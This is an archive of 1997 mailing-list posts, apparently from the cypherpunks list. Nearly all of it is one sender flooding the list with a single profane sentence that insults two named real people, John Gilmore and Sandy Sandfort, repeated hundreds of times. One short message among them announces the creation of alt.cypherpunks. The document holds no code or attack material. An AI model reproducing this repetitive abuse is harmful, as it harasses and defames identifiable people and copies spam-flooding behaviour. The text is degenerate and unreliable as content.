motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:17:19 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:17:19 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771092.522579.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:18:14 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:18:14 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771125.522881.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:19:32 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:19:32 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771079.522473.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:22:22 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:22:22 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771098.522656.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:25:27 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:25:27 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771058.522306.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:25:27 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:25:27 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855770992.521749.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:27:05 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:27:05 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771018.521953.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:30:06 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:30:06 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771058.522301.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:31:04 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:31:04 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771028.522052.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:31:18 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:31:18 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771139.522992.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:33:06 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:33:06 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771061.522333.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:34:11 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:34:11 -0800 (PST) Subject: alt.cypherpunks is born. Message-ID: <855766181.518359.0@fatmans.demon.co.uk> Hi all, I crossposted the first post to the usenet group to here but just to make sure you all get the message I have created alt.cypherpunks. Even if it is only a temporary measure it will be a forum from which we can establish something better. Fuck you John, we should have done this a long time ago. Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:34:28 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:34:28 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855770968.521466.0@fatmans.demon.co.uk> John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy 